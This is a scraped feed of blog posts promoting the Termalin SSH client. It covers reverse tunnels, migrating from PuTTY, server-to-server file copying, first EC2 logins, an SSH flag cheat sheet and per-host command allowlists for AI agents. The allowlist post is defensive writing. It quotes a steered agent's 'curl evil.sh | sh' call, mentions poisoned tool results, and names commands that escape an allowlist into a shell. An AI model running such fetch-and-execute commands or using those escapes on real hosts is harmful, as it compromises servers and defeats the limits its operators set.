Every SSH tunnel opens a listening port on one machine and ships whatever arrives to somewhere reachable from the other machine. With local forwarding (-L), the port opens on your machine and traffic exits on the server's side. A reverse tunnel is the exact mirror image:

With -R, the listening port opens on the remote server, and connections to it come out on your side.

That's the entire trick. The machine that can't accept inbound connections makes an outbound SSH connection instead — and rides connections back in over it. If the two still blur together, the full family portrait is in SSH port forwarding, explained.

The syntax, read left to right

ssh -R [bind_address:]remote_port:localhost:local_port user@server

Read it as: on the server, listen on remote_port; forward whatever arrives to localhost:local_port — as resolved from my machine. So:

ssh -R 8080:localhost:3000 deploy@vps.example.com

opens port 8080 on the VPS, and every connection to it lands on port 3000 of your laptop. The destination doesn't have to be your laptop itself — -R 8080:192.168.1.50:80 forwards to another machine on your LAN, using your laptop as the exit.

One flag worth knowing: -R 0:localhost:3000 lets the server pick any free port, and prints Allocated port 43022 for remote forward so you know which one you got.

Three things people actually build with it

Show a local dev server to a client. Your work-in-progress runs on localhost:3000. Instead of deploying it somewhere just for a demo:

ssh -N -R 8080:localhost:3000 deploy@demo.example.com

Anyone who can reach demo.example.com:8080 is now looking at the app on your laptop, live. (-N skips the remote shell — you only want the tunnel. Whether anyone or only the server itself can connect depends on GatewayPorts — next section.)

Reach a home machine behind NAT. Your home box can't accept connections, but it can make them. Have it hold a tunnel out to a small VPS:

# on the home machine
ssh -N -R 2222:localhost:22 tunnel@vps.example.com

Now the VPS's port 2222 is the home machine's SSH port, and from anywhere:

ssh -J vps.example.com -p 2222 you@localhost

jumps through the VPS straight into the box behind NAT. This is the classic self-hosted answer to how to SSH into your home server.

Deliver webhooks to your laptop. A payment provider or git host needs to POST to your in-development handler. Tunnel their reachable endpoint back to you:

ssh -N -R 9000:localhost:9000 deploy@vps.example.com

Point the webhook at the VPS. If you keep the tunnel bound to the server's loopback (the default), put nginx or any reverse proxy on the VPS in front of 127.0.0.1:9000 — you get TLS termination for free and never expose the raw tunnel port.

GatewayPorts: why nobody else can reach your tunnel

The number-one surprise: the tunnel works when you test it from the server (curl localhost:8080 succeeds) but nobody outside can connect. That's by design — by default, sshd binds remote-forwarded ports to 127.0.0.1 only, no matter what bind address you asked for.

To open a tunnel to the world, the server's /etc/ssh/sshd_config needs:

GatewayPorts clientspecified

then restart sshd, and request the bind explicitly: ssh -R 0.0.0.0:8080:localhost:3000 .... (GatewayPorts yes binds every remote forward to all interfaces, which is broader than you usually want.) This is a server-side decision you cannot override from the client — a deliberate safety default, since a reverse tunnel is a hole punched from the inside, and whatever it exposes is now effectively internet-facing. Treat it that way.

Two related server-side switches can bite you: AllowTcpForwarding no disables tunnels entirely, and PermitListen can restrict which ports -R may claim.

Keeping it alive

A reverse tunnel is one TCP connection, and idle TCP connections die. For anything longer than a demo:

ssh -N -R 2222:localhost:22 \
    -o ServerAliveInterval=30 \
    -o ExitOnForwardFailure=yes \
    tunnel@vps.example.com

ServerAliveInterval 30 keeps traffic flowing so NAT entries and idle timeouts don't reap the connection.
ExitOnForwardFailure yes makes ssh die loudly if the remote port can't be bound, instead of connecting anyway and forwarding nothing.
autossh wraps the command and restarts the tunnel whenever it drops — the standard tool for tunnels that should survive reboots and flaky networks, usually run as autossh -M 0 -N -R ... under a systemd unit.

And once a tunnel earns a permanent place, move it into ~/.ssh/config with a RemoteForward line so it travels with the host entry — structure covered in the ssh_config guide:

Host homelink
    HostName vps.example.com
    User tunnel
    RemoteForward 2222 localhost:22
    ServerAliveInterval 30
    ExitOnForwardFailure yes

`-L` vs `-R` vs `-D` at a glance

Flag	Port opens on	Traffic exits on	Typical job
`-L`	your machine	server's side	pull a remote DB/dashboard to localhost
`-R`	the server	your side	expose local service; reach a NATed box
`-D`	your machine	server's side, any destination	SOCKS proxy into a network

When a reverse tunnel is the wrong tool

A reverse tunnel is a superb temporary answer: demos, webhook debugging, rescuing a machine behind NAT. It's a poor permanent one. If the thing you're exposing needs to be up for months, serve real users, or survive your laptop sleeping — that's ingress, and ingress deserves real infrastructure: a reverse proxy on a server, a VPN or overlay network, an actual deployment. The tunnel's charm is that it's one command with no standing footprint; the moment you're writing monitoring for it, you've outgrown it.

Troubleshooting the usual failures

Warning: remote port forwarding failed for listen port 8080 — the port is taken on the server. Often the culprit is your own previous tunnel: the old sshd process holds the port until the dead connection times out. Keepalives prevent the zombie; -R 0:... sidesteps the collision; ExitOnForwardFailure turns the warning into an error you can't miss.
Works from the server, refused from outside — the listener is on the server's loopback. That's the GatewayPorts default doing its job; either configure it or front the port with a reverse proxy.
Tunnel connects but the service doesn't answer — check the local half: is anything actually listening on the local port you named? -R 8080:localhost:3000 with nothing on your :3000 yields connection refused for every visitor.
The SSH connection itself won't establish — that's a different problem with its own checklist: connection refused and timed out, decoded.

When tunnels become furniture

The reverse tunnel you run once, you type. The one that carries your home lab, your demo box and your webhook endpoint is state you rebuild every morning after every laptop sleep — and lose track of by Thursday. Termalin's saved tunnel manager keeps local, remote and dynamic forwards attached to the host they belong to: start them with a click, see at a glance which are live, and have saved ones start when the app launches and come back if they drop, instead of being retyped from shell history. On Pro, the host list — keys, jump hosts and tunnels included — syncs across your machines end-to-end encrypted. And when a box sits behind NAT for good, its outbound-only Connector (Pro) replaces the hand-rolled reverse tunnel entirely — no inbound port, and no autossh unit to babysit. The command line teaches you what -R means; a client keeps the tunnels you rely on from depending on your memory.

Termalin is a free, cross-platform SSH client with built-in tunnels, SFTP and a key manager — download it, or see how it handles your keys safely.

Leaving PuTTY: migrate your sessions, keys and habits without losing anything

Svyatoslav Pavlov — Fri, 02 Oct 2026 17:17:06 +0000

Where PuTTY hides your sessions and host keys, how to convert .ppk keys to OpenSSH, and how to land the whole setup in a modern client in one evening.

PuTTY deserves its reputation. It's small, it's honest, it has worked the same way since the dial-up era, and half the world's server closets were administered through it. Nobody has to leave. But if you've caught yourself juggling eleven PuTTY windows on a taskbar, copying files with a separate WinSCP window, and typing the same passphrase forty times a day — the itch is real, and the move is smaller than it looks.

This guide gets everything out of PuTTY intact: sessions, keys, host keys, habits. It's written with Termalin as the destination, but the first half applies to any modern client.

Know where PuTTY keeps your stuff

PuTTY famously has no config file. Everything lives in the Windows registry:

Sessions — HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions, one key per saved session: host, port, username, per-session settings.
Known host keys — HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\SshHostKeys — the fingerprints of every server you've ever trusted.
Private keys — wherever you saved the .ppk files. The registry only stores the path to a session's key, not the key itself. If you're like most long-time users, there's a keys folder somewhere you haven't opened since 2019.

Worth knowing even if you stay: this is why your PuTTY setup doesn't follow you to a new machine unless you remember to export the registry branch.

Step 1 — export the sessions

On the machine with your PuTTY setup, from a command prompt:

reg export "HKCU\Software\SimonTatham\PuTTY\Sessions" putty-sessions.reg

That single .reg file is your complete session inventory — portable, human-readable, and the input format most importers (Termalin included) accept on any OS. On Windows you can usually skip even this: Termalin's hosts list has an import menu that reads your saved PuTTY sessions straight from the registry, one click, and they arrive as regular hosts you can sort into folders and tag.

Step 2 — convert the keys

PuTTY's .ppk format is its own thing; the rest of the world speaks OpenSSH. Conversion is built into PuTTYgen and takes seconds per key:

Open PuTTYgen, Load the .ppk (enter its passphrase).
Menu Conversions → Export OpenSSH key (force new file format).
Save as id_ed25519 / id_rsa — the passphrase carries over.

Two notes from the trenches: export the new format (the legacy one predates Ed25519), and don't forget keys referenced by sessions but stored in odd places — each session's PublicKeyFile value in the .reg export shows the path it expected (the import marks those hosts as key-based, so you know which ones still need a key). Once converted, import the keys into your new client; in Termalin they go into the built-in agent, which means one unlock per session of work, passphrase caching on a timer you control, instead of one passphrase per connection.

If you drove Pageant all day, that habit maps directly: Termalin's agent plays the same role. It speaks the standard ssh-agent protocol on its own per-user pipe or socket, so a CLI pointed at it with SSH_AUTH_SOCK can sign through it too.

Step 3 — don't blindly re-trust every server

You can migrate PuTTY's SshHostKeys — but honestly: don't bother. Fingerprint formats differ, and a migration is the one natural moment you'll ever have to re-verify what you're connecting to. A modern client (Termalin uses trust-on-first-use with a proper known_hosts) will show each server's fingerprint on first connect — glance at the ones that matter, accept, move on. Ten minutes for a fleet you'll trust cleanly for years.

Step 4 — rebuild the two habits PuTTY never had

Tabs instead of windows. Eleven sessions become one window with browser-style tabs (drag to reorder, activity glow on the quiet ones). The win isn't cosmetic — it's that "which window was staging?" stops being a question.

Files next to the terminal. The separate-WinSCP-window workflow collapses into an SFTP panel in the same tab as the shell: browse, edit in place with a built-in editor, upload — no second app, no reconnecting the same credentials.

Everything else transfers as-is: your servers are still your servers, your muscle memory still works, Ctrl+D still logs you out.

What you gain that has no PuTTY equivalent

Sessions that follow you — hosts, keys and command history sync across machines, end-to-end encrypted so the sync server only ever holds ciphertext. Terminal themes per host (staging in Nord, production in something appropriately red). And if you work with AI agents: a built-in MCP server that lets an agent open SSH sessions through the app, under your eyes, without ever seeing a key — a sentence that would have sounded like science fiction when your .ppk files were created.

Termalin runs on Windows, macOS, Linux and iOS; the Free tier has no host limits and imports PuTTY sessions in one click — download it, or see the full PuTTY comparison.

How to move files between two servers — without downloading them to your laptop first

Svyatoslav Pavlov — Thu, 01 Oct 2026 19:12:44 +0000

scp -3, rsync, the tar-over-ssh pipe, S3 as a relay, and the GUI way: five ways to copy files server-to-server, and when each one wins.

You have a 40 GB directory on server A that needs to be on server B. The reflex — download to the laptop, upload to the other box — moves the data twice, hammers your home uplink in both directions, and falls over the moment your Wi-Fi hiccups at gigabyte 32. Every admin eventually collects a better toolkit for this. Here it is, shortest path first.

1. `scp -3` — the honest middleman

scp -3 -r alice@server-a:/srv/app/data bob@server-b:/srv/app/

The -3 routes traffic through your machine — A sends to you, you forward to B, nothing is written to disk. Both sides authenticate with your local keys, which is exactly why this is the zero-setup option: A and B never need to trust each other.

The cost: every byte still crosses your connection twice (in and out), and scp has no resume. Fine for config directories and dumps in the single-gigabyte range; wrong tool for the 40 GB case unless your uplink is excellent.

2. Direct copy: run it on one of the servers

The fast path is A talking straight to B over their (usually much fatter) link:

ssh alice@server-a
rsync -avP /srv/app/data bob@server-b:/srv/app/

rsync -avP gives you progress, permissions, and — the killer feature — resume: re-run the same command after any interruption and it continues where it stopped, skipping what already matches.

The catch is auth: A now needs to authenticate to B. Resist the classic shortcut of copying your private key onto A. The cleaner options, best first:

A dedicated key pair on A, authorized on B for exactly this job — ideally with a command= restriction in B's authorized_keys limiting it to rsync.
Agent forwarding (ssh -A alice@server-a) — your local agent answers B's challenge, no key material lands on A. Use it only toward servers you'd trust with your agent: root on A can borrow your agent socket while you're connected.

3. The tar pipe — for minimal boxes

Appliance-grade hosts sometimes lack rsync. tar and ssh are always there:

ssh alice@server-a 'tar cf - -C /srv/app data' | ssh bob@server-b 'tar xf - -C /srv/app'

Streams through your machine like scp -3, but preserves permissions and symlinks faithfully, handles a million small files far better than per-file scp, and composes with zstd (tar cf - … | zstd / zstd -d | tar xf -) when the pipe is thin. No resume — it's the duct-tape option, and everyone should know it anyway.

4. Object storage as the relay

When the two servers can't reach each other and the data is big, stop streaming and stage it once in a bucket:

# on A                                   # on B
aws s3 cp data s3://my-bucket/xfer/ -r    aws s3 cp s3://my-bucket/xfer/ data -r

Both directions use each server's own (fat) link, either side can resume, and the bucket doubles as an audit point. Works with any S3-compatible storage — MinIO on your own hardware counts. Just remember the lifecycle rule so xfer/ doesn't quietly become a 400 GB monument to one migration.

5. The GUI way — two panes, two servers

For the everyday version of this problem — a handful of files, two servers, no ceremony — a dual-pane file manager beats all of the above on time-to-done. In Termalin, each pane connects independently: local↔host, host↔host, or an S3 bucket as either side. Drag from pane to pane and the app does the download-then-upload for you, through a temporary file on your machine that it deletes afterwards. So the bytes do pass through your connection, which is fine for a handful of files; for the 40 GB directory, use one of the server-side options above. Auth is whatever each host already uses in your client, so there's no key-copying question at all, and no agent to expose.

It's also the option you can hand to a teammate who would rather not learn the authorized_keys command= syntax before lunch.

Which one, when

Situation	Reach for
Small transfer, zero setup, untrusting servers	`scp -3`
Big transfer, servers can talk, needs resume	`rsync` run on A
Minimal/appliance hosts, lots of small files	tar-over-ssh pipe
Servers can't reach each other, huge data	S3 relay
A few files, done in ten seconds	dual-pane GUI

The theme across the first four: the data should cross each network segment once, and your laptop should be a controller, not a warehouse. The GUI trades that for convenience, which is why it's the small-files answer.

Termalin's dual-pane file manager does local↔host and host↔host transfers in the Free tier (an S3 bucket as a pane is on Pro) — download it, or browse the full feature list.

Per-host command allowlists: least-privilege SSH for AI agents

Svyatoslav Pavlov — Wed, 30 Sep 2026 16:16:00 +0000

Holding an agent's key isn't enough — bound what it runs. Per-host command policies (full, allowlist, or blocked) are least-privilege SSH for AI agents.

There are two separate questions in giving an AI agent access to a server, and most setups only answer the first. The first is who holds the credential — and getting the key out of the agent's hands, into a custodian that signs on its behalf, is a real and necessary win. But it leaves the second question wide open: what can the agent do once it's connected? A custodian that hands an agent an unrestricted shell has solved key custody and nothing else. A steered agent doesn't need your key when ssh_exec("curl evil.sh | sh") is on the menu.

Least-privilege is the answer to the second question. In Termalin it's a per-host setting, and this is how to use it well.

Custody bounds the credential; policy bounds the blast radius

Recall the blast-radius ranking: pasting a key is the worst arrangement, a custodian with per-host policy is the best. The jump from "custodian" to "custodian with policy" is exactly this feature. Without it, compromising the agent's context gives an attacker a full shell on every host the custodian can reach. With it, what they get is the ability to request the specific commands you allowed, on the specific hosts you listed — requests that show up in a live view and an audit log as they happen.

The MCP explainer makes the case that "who holds the credential" is the load-bearing question. Command policy is the second load-bearing question, and the two together are what make agent access something you can actually leave running.

The three levels

In Termalin, every host you expose to agents carries an agent policy, set in Settings → MCP or on the host's own form. It's one of three levels:

Full — the agent gets a normal shell on that host. Correct for a scratch VM you don't care about; the wrong default for anything else, because "full" on production simply recreates the unrestricted-shell problem for that one box.
Allowlist — the agent may run only the commands you name; everything else is refused before it executes. This is the level you want for anything that matters.
Blocked — the host is off-limits to agents entirely, even though it's in your hosts list for your own use. Useful when you want an agent to see some of your fleet but never touch a specific machine.

The default posture is conservative: agent access is off until you turn it on, only the hosts you tick are reachable at all, and a blocked host stays blocked. You widen from there deliberately, not the other way around.

Writing a good allowlist

An allowlist is only as good as the list. A few principles that save you from writing one that looks tight but isn't:

Start from the task, not the toolbox. Don't list every command the agent might find handy. List the ones the job in front of you actually needs. A deploy agent needs its release command, maybe systemctl for the service and git for the pull — not bash, not sh, not a package manager. A monitoring agent needs systemctl status, journalctl, df, free — and nothing that writes.

Watch for commands that are shells in disguise. find … -exec, awk 'system(...)', git with hooks, an editor with shell escape, tar --to-command, any interpreter (python, perl, node) — each turns a single allowlisted entry into arbitrary execution. If the task doesn't need them, leave them off; if it does, that host is closer to "full" than the list suggests, so treat it that way.

Reads leak too. This is the limit worth internalizing: an allowlist bounds actions, not the information in their output. If cat is allowed, cat .env returns your secrets into the agent's context, and from there they can travel wherever the model's output goes. Write the list with reads in mind, not just writes — and fix secrets-on-disk as its own problem. A policy is a boundary on what the agent can do, not a guarantee about what it can learn.

The read-only shortcut

For the common "let the agent look, not touch" case, you don't have to enumerate commands by hand. When an agent reaches your servers through the hosted endpoint with an API key, the key itself carries a command policy — full, an allowlist, or read-only — alongside its server scope and expiry. A read-only key is the fastest way to stand up a safe observer: health checks, log tails, "is the migration done yet?" jobs that can see everything and change nothing. It's the right default for the CI and cloud-agent pattern, where you want a token that does one narrow job and dies on a schedule.

Policy is enforced, then recorded

Two things happen to a command the policy forbids, and both matter. First, it's refused before it runs — the enforcement is at the point the agent asks, not a suggestion the agent is trusted to honor. Second, what does get through is visible: sessions an agent drives glow in the watch grid, and every command it runs is marked as the agent's in the audit log, with the host, device and IP. A refused command comes back to the agent as an error; refusals aren't written to the audit log yet. So a policy is a wall, and the work that passes through it is on camera.

A recipe to copy

A sensible starting arrangement for a mixed fleet:

Production hosts → allowlist, scoped to the exact commands your runbook uses. Or, if the only agent work there is observation, a read-only hosted key.
Staging → allowlist too, a bit wider, since it's where you let an agent iterate.
A scratch VM → full, so the agent has room to experiment somewhere a mistake costs nothing.
The one box you'll never let an agent near → blocked, even though you use it yourself.

Then point your agent at it — Claude Code, Codex, Gemini, Cursor, whatever you run. The agent gets real, useful reach; a bad instruction or a poisoned tool result runs into a wall you built, in full view, instead of into your fleet.

Termalin is a free, cross-platform SSH client with a built-in MCP server, a key custodian and per-host agent policy — download it, or read the security model.

How to SSH into an EC2 instance or a VPS for the first time

Svyatoslav Pavlov — Tue, 29 Sep 2026 15:23:11 +0000

You just spun up a cloud server — here's the clean path in: the right login user, the key-permissions gotcha, the two errors everyone hits, and how to make the connection repeatable.

You clicked "launch," the dashboard says the instance is running, and now there's a public IP address and a downloaded key file and no obvious next move. This is the first wall almost everyone hits with a cloud server, and it's made of four small things that each have one right answer: the address, the login user, the key, and its permissions. Get those lined up and you're at a shell in under a minute. Miss one and you get an error that sounds scarier than it is. Here's the whole path, first try to shell.

Step 1 — gather the four things you need

The address. Your provider's console shows it. On AWS it's the instance's Public IPv4 address or Public IPv4 DNS (ec2-3-120-….compute.amazonaws.com); on DigitalOcean, Hetzner, Linode or Vultr it's the droplet/server's public IP.

The login user — this trips up more people than anything else. You almost never log in as a name you chose. The image decides it:

AWS EC2: ec2-user on Amazon Linux, ubuntu on Ubuntu AMIs, admin on Debian, centos/rocky/fedora on those. There is no root login.
DigitalOcean / Hetzner / Vultr: usually root (you attach your SSH key when you create the server).
Google Cloud: the username tied to your key or OS Login.
Azure: the admin username you set at creation.

When in doubt, the provider's "connect" panel names the user.

The key. Cloud providers use key auth, not passwords. Either you downloaded a .pem at launch (AWS), or you pasted your public key into the create screen and hold the matching private key locally (most VPS hosts). Either way you already have the private key you need — you do not download it again, and there's no password to look up.

Step 2 — fix the key's permissions (the famous gotcha)

SSH refuses to use a private key that other users on your machine could read. The first ssh attempt on a freshly downloaded .pem very often ends in:

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'mykey.pem' are too open.

On macOS or Linux the fix is one command:

chmod 400 mykey.pem

On Windows it's fiddlier — OpenSSH there checks Windows ACLs, not Unix bits, so you either strip inherited permissions with icacls or let a client manage the key for you. This is one of several rough edges that a proper SSH client just… doesn't have, because it stores keys correctly to begin with.

Step 3 — connect

Put the three pieces together — key, user, address:

ssh -i mykey.pem ubuntu@ec2-3-120-45-67.eu-central-1.compute.amazonaws.com

The first time, SSH shows the server's fingerprint and asks whether to trust it — that's trust-on-first-use, and typing yes pins the key so a later change (which could mean a man-in-the-middle) gets flagged. If you land at a shell prompt, you're in. If not, it's almost certainly one of the next two errors.

Step 4 — the two errors you'll actually hit

Connection timed out (or refused). This is a network problem, not a login problem — SSH never even reached a willing server. On a cloud box the usual cause is the firewall in front of the instance: AWS security groups, or the provider's cloud firewall, don't allow inbound port 22 from your IP by default on every setup. Open 22 to your address (not 0.0.0.0/0 — see hardening below) and try again. The full decision tree is in connection refused vs timed out.

Permission denied (publickey). SSH reached the server, but the login was rejected. On a first connection this is nearly always one of two things: the wrong user (you tried root@ on an Ubuntu EC2 box that wants ubuntu@), or the wrong key (not the one whose public half is on the server). Add -v to watch which key SSH offers and how the server answers; permission denied (publickey), decoded walks through every cause.

Step 5 — make it repeatable

You do not want to retype that ssh -i … long-user@long-dns line for the life of the server. Two ways to fix it:

A ~/.ssh/config entry turns the whole thing into a nickname:

Host prod
    HostName ec2-3-120-45-67.eu-central-1.compute.amazonaws.com
    User ubuntu
    IdentityFile ~/.ssh/mykey.pem

Now ssh prod is the whole command. The SSH config file guide covers the rest — jump hosts, per-host keys, keepalives.

Or save it in a client that keeps the host, user, key and port together as one entry, shows you the server's live CPU/disk/memory the moment you connect, and syncs the whole list to your other machines. Same idea as the config file, minus the file.

A word on hardening, before you forget

The box is on the public internet now, and SSH scanners find new ones within minutes. Two habits worth building on day one:

Scope the firewall. Allow 22 from your IP or your VPN, not from the entire internet. If the server sits in a private subnet, reach it through a bastion with ProxyJump rather than giving it a public address at all.
Keys only, no passwords. Cloud images usually ship this way already (PasswordAuthentication no); keep it that way. A key you can revoke per device beats a password every session shares.

Letting an AI agent help run it

Once you can reach the box, the 2026 temptation is to stop SSHing in yourself for every little check and instead ask an assistant — Claude Code, Cursor, Codex — to look at why a service died or a disk filled up. That's genuinely useful, and it's also the exact moment people hand an agent the .pem and a raw shell, which is the one move you can't take back: a key in an agent's environment is your whole server, forever, wherever that context ends up.

The better arrangement is to let the agent go through something that holds the key for it, limits what it can run, and records what it did — connect the agent over MCP instead of pasting a credential. The server gets a capable helper; the helper never gets the keys to it.

Where Termalin fits

Termalin is a cross-platform SSH client (Windows, macOS, Linux) that removes the day-one friction above: it stores keys with correct permissions so the chmod/icacls dance never happens, keeps each host's user, key and port together so a server is a nickname and not a remembered command, and shows the machine's disk, memory and load live in the status bar. And when you want an agent to help, it connects through the built-in MCP server — working over your SSH access without ever holding the key. The Free tier has no host limits — grab it and add your new server.

Termalin is a free, cross-platform SSH client — clean first connections, and safe access for the AI agents you let help. Download it, or read the security model.

The SSH flags you'll actually use (a practical cheat sheet)

Svyatoslav Pavlov — Mon, 28 Sep 2026 15:59:56 +0000

The SSH command flags worth memorizing, organized by task — connection basics, -o, forwarding, jump hosts, session control — plus a compact reference table.

ssh --help dumps forty flags in alphabetical order, which is the least useful way to learn them. You reach for flags by what you're trying to do — connect as a different user, forward a port, hop through a bastion, debug a refusal — so here's the same set organized by task, with a note on which ones to stop typing and put in your ssh_config instead.

The rule underneath all of it: flags are for one-offs; config is for permanence. Anything you pass twice belongs in the file.

Connection basics

The flags that answer "who, where, and with what key."

-p <port> — connect to a non-standard port. ssh -p 2222 user@host. (Lowercase -p; uppercase -P is scp's port flag, which trips everyone up once.)
-l <user> — the login user, an alternative to the user@ prefix. ssh -l deploy host equals ssh deploy@host; you'll see -l in scripts and older docs.
-i <identity> — point at a specific private key. ssh -i ~/.ssh/work_ed25519 user@host. The most useful flag when auth fails: it forces the exact key instead of letting the agent guess.
-F <configfile> — use a different config file. ssh -F ./project.sshconfig web1, or -F /dev/null to ignore your personal config and test with zero customization.
-v / -vv / -vvv — verbosity, and the flag that ends most mysteries. One -v shows the auth methods tried and keys offered; -vvv shows the full handshake. When something fails, run it again with -vvv before you theorize.

The `-o` escape hatch

This is the flag worth understanding deeply, because it subsumes dozens of others. -o sets any ssh_config option inline. Anything you could write in ~/.ssh/config under a Host block, you can pass as -o Option=value — not a short list of blessed options, but the entire config vocabulary, available for a single connection.

A few that come up constantly:

ssh -o IdentitiesOnly=yes -i ~/.ssh/right_key user@host   # offer only this key
ssh -o StrictHostKeyChecking=accept-new user@host          # trust new hosts, still catch changes
ssh -o ServerAliveInterval=30 user@host                    # keepalive for a flaky link
ssh -o ProxyJump=bastion.example.com db.internal           # hop through a bastion inline

-o IdentitiesOnly=yes is the fix for Too many authentication failures when your agent offers six keys and a strict server cuts you off after five. -o StrictHostKeyChecking=accept-new is the sane middle ground — auto-trust a host you've never seen, but still scream if a known host's key changes.

The point: you don't need a special flag for each behavior. If you know the config directive, you know the flag — it's -o Directive=value. Once you're passing three or four every time, move them into config for good.

Forwarding and tunnels

The port-plumbing flags. The mental model — which side opens the port — gets its own read in SSH port forwarding explained; here's the flag summary.

-L <local>:<host>:<port> — local forward. Open a port on your machine that tunnels to a destination reachable from the server. ssh -L 5432:localhost:5432 db.example.com brings a remote database to your 127.0.0.1:5432.
-R <remote>:<host>:<port> — remote forward. Open a port on the server that tunnels back to your side — the reverse-tunnel trick for reaching a machine behind NAT.
-D <port> — dynamic forward. A SOCKS proxy on your machine; destination chosen per connection. ssh -D 1080 jump.example.com, then point a browser at 127.0.0.1:1080.
-N — don't run a remote command. Pair with any forward when you want only the tunnel and no shell.
-f — background ssh after it connects. Combine with -N for a fire-and-forget tunnel: ssh -fN -L 5432:localhost:5432 db.example.com.
-g — let other machines on your LAN use a local (-L/-D) forward, not just 127.0.0.1. A small exposure — you're opening the tunnel to your whole network, so use it deliberately.

Jump hosts and the agent

Reaching the next hop, and the flag you should be cautious with.

-J <jumphost> — ProxyJump. Tunnel through a bastion and authenticate end-to-end from your laptop to the target. ssh -J bastion.example.com db.internal. The bastion only shuttles encrypted bytes; your key never lands on it — the right way through a gateway. Full case: ProxyJump: reach servers behind a bastion.
-A — agent forwarding. Exposes a socket on the remote host that proxies signing requests back to your local agent, so a process there can authenticate as you to the next server. Convenient and riskier than it looks: anyone with root on that host can borrow your identity while the session is open. Use -J for "reach the next hop" and keep -A for hosts you fully trust — the reasons are in agent forwarding is convenient and dangerous.

Between the two: -J gets your shell to a host behind the bastion without lending anyone your keys; -A lends your keys' live use to the box you connected to. Not the same trade.

Session control

The small flags that fix specific annoyances.

-t — force a pseudo-terminal. Needed for a remote command that expects an interactive TTY: ssh -t host 'sudo systemctl status nginx' gives you a real terminal for the sudo prompt and colored output. Double it (-tt) to force one when there's no local TTY.
-q — quiet mode. Suppresses warnings and banners; useful in scripts where you want only the command's own output.
-C — request compression. A real win on slow, high-latency links; negligible or slightly negative on a fast LAN.
-o BatchMode=yes — never prompt. If auth would need a password or passphrase, fail immediately instead of hanging. This is what makes SSH safe inside cron and CI — a stuck prompt in an unattended script hangs forever.

The compact reference

Flag	Does	ssh_config equivalent
`-p 2222`	Non-standard port	`Port 2222`
`-l user` / `user@`	Login user	`User user`
`-i ~/.ssh/key`	Specific identity	`IdentityFile ~/.ssh/key`
`-F file`	Alternate config file	— (this is the config)
`-v` … `-vvv`	Verbose / debug	`LogLevel DEBUG3`
`-o Opt=val`	Any config option inline	(the option itself)
`-L a:host:b`	Local forward	`LocalForward a host:b`
`-R a:host:b`	Remote forward	`RemoteForward a host:b`
`-D 1080`	Dynamic (SOCKS) forward	`DynamicForward 1080`
`-N`	No remote command	`RequestTTY no` (+ no command)
`-f`	Background after connect	— (one-off only)
`-g`	Open forward to your LAN	`GatewayPorts yes`
`-J host`	Jump through a bastion	`ProxyJump host`
`-A`	Forward the agent	`ForwardAgent yes`
`-t`	Force a TTY	`RequestTTY force`
`-q`	Quiet	`LogLevel QUIET`
`-C`	Compression	`Compression yes`
`-o BatchMode=yes`	Never prompt	`BatchMode yes`

The right column is the tell. Almost every flag has a config equivalent, and that's the workflow: use the flag once to prove a connection works, then move the ones you'll repeat into ~/.ssh/config so ssh web1 carries all of them with no flags at all. The flags with no config equivalent — -f, -F, the debug verbosity — are the genuinely one-off ones.

Where a client keeps the state for you

Flags and config both live in your dot-files, per machine, and that hurts at scale: settings copied across laptops by hand, tunnels re-run after every sleep, no way to see which of forty hosts is up. Termalin keeps the same facts a flag would carry — port, user, key, jump host, saved local/remote/dynamic forwards — attached to the host as structured data, organized into folders and tags, synced across your machines end-to-end encrypted (on Pro). It verifies each server on first connect, shows live status per host, and starts saved tunnels at launch and restarts them if they drop, instead of a retyped command. The flags teach you what's happening; a client stops you retyping them every morning.

Termalin is a free, cross-platform SSH client that stores per-host settings, keys and tunnels for you — download it, or read how it handles your keys safely.

DEV Community: Svyatoslav Pavlov

ssh-agent on Windows: start the service, add your keys, fix the errors

The three agents, and why they don't share keys

The built-in OpenSSH Authentication Agent service

Error 1058: "unable to start the ssh-agent service"

"error connecting to agent: No such file or directory"

Keys in WSL

When the agent is fine but login still fails

How Termalin handles this on Windows

The best SSH client with a built-in MCP server (2026 buying guide)

1. Who holds the key — and can the agent ever read it?

2. Can you bound what the agent runs — per host?

3. Does it work when your desktop isn't running?

4. Can you see what it did — and prove it later?

5. Does it run where you do?

How Termalin scores against its own checklist

The short version

Connect Google's Gemini CLI to your servers over SSH — safely

What you need

Step 1 — turn on agent access and set a policy

Step 2 — register the server in Gemini's settings

Step 3 — give it a real chore

Where the boundaries are

When Gemini runs in the cloud

The habit that makes it stick

Watch many SSH sessions at once — a live grid for humans and agents

The problem tmux solves, and the one it doesn't

What the watch grid does

Why "glowing" matters more than it sounds

For a human fleet, too

Where recording and audit fit

The short version

Leaving MobaXterm: take your sessions and keys to macOS or Linux

Know where MobaXterm keeps your stuff

Step 1 — export the sessions

Step 2 — bring the keys

Step 3 — don't blindly re-trust every server

Step 4 — the habits that carry over (and the one that doesn't)

What you gain that MobaXterm can't offer

Take it out of the map: keeping a shared session store lock-free during slow work

The bug is one .await too many

Move ownership out, do the slow work unlocked

Now handle the two races you just created

Reaping the dead, without a background timer

The shape, minus the SSH

Where this lives

SSH reverse tunnels (ssh -R): expose a local port through a remote server

The mental model: -L, mirrored

The syntax, read left to right

Three things people actually build with it

GatewayPorts: why nobody else can reach your tunnel

Keeping it alive

-L vs -R vs -D at a glance

When a reverse tunnel is the wrong tool

Troubleshooting the usual failures

When tunnels become furniture

Leaving PuTTY: migrate your sessions, keys and habits without losing anything

Know where PuTTY keeps your stuff

Step 1 — export the sessions

Step 2 — convert the keys

Step 3 — don't blindly re-trust every server

Step 4 — rebuild the two habits PuTTY never had

What you gain that has no PuTTY equivalent

How to move files between two servers — without downloading them to your laptop first

1. scp -3 — the honest middleman

2. Direct copy: run it on one of the servers

3. The tar pipe — for minimal boxes

4. Object storage as the relay

5. The GUI way — two panes, two servers

Which one, when

Per-host command allowlists: least-privilege SSH for AI agents

Custody bounds the credential; policy bounds the blast radius

The three levels

Writing a good allowlist

The read-only shortcut

Policy is enforced, then recorded

A recipe to copy

How to SSH into an EC2 instance or a VPS for the first time

Step 1 — gather the four things you need

Step 2 — fix the key's permissions (the famous gotcha)

The bug is one `.await` too many

The mental model: `-L`, mirrored

`-L` vs `-R` vs `-D` at a glance

1. `scp -3` — the honest middleman

The `-o` escape hatch